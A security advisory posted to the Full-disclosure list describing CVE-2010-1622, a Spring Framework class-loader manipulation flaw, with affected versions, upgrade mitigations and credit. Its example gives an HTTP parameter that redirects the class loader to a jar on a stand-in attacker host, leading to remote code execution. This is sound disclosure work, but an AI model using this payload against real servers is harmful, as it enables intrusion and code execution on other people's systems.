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[Full-disclosure] CVE-2010-1622: Spring Framework execution of arbitrary code



CVE-2010-1622: Spring Framework execution of arbitrary code

Severity: Critical

Vendor:
SpringSource, a division of VMware

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Description:
The Spring Framework provides a mechanism to use client provided data to update 
the properties of an object. This mechanism allows an attacker to modify the 
properties of the class loader used to load the object (via 
'class.classloader'). This can lead to arbitrary command execution since, for 
example, an attacker can modify the URLs used by the class loader to point to 
locations controlled by the attacker.

Example:
This example is based on a Spring application running on Apache Tomcat.
1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar 
has to contain following:
 - META-INF/spring-form.tld - defining spring form tags and specifying that 
they are implemented as tag files and not classes;
 - tag files in META-INF/tags/ containing tag definition (arbitrary Java code).

2. Attacker then submits HTTP request to a form controller with the following 
HTTP parameter: class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At 
this point the zeroth element of the WebappClassLoader's repositoryURLs 
property will be overwritten with attacker's URL.

3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use 
WebappClassLoader's URLs to resolve tag libraries and all tag files specified 
in TLD will be resolved against attacker-controller jar (HTTP retrieval of the 
jar file is performed by the URL class).

Mitigation:
All users may mitigate this issue by upgrading to 3.0.3
Community users of 2.5.x and earlier may also mitigate this issue by upgrading 
2.5.6.SEC02
Subscription users of 2.5.x and earlier may also mitigate this issue by 
upgrading 2.5.6.SEC02 or 2.5.7.SR01

Credit:
The issue was discovered by Meder Kydyraliev, Google Security Team

References:
[1] http://www.springsource.com/security/spring-framework
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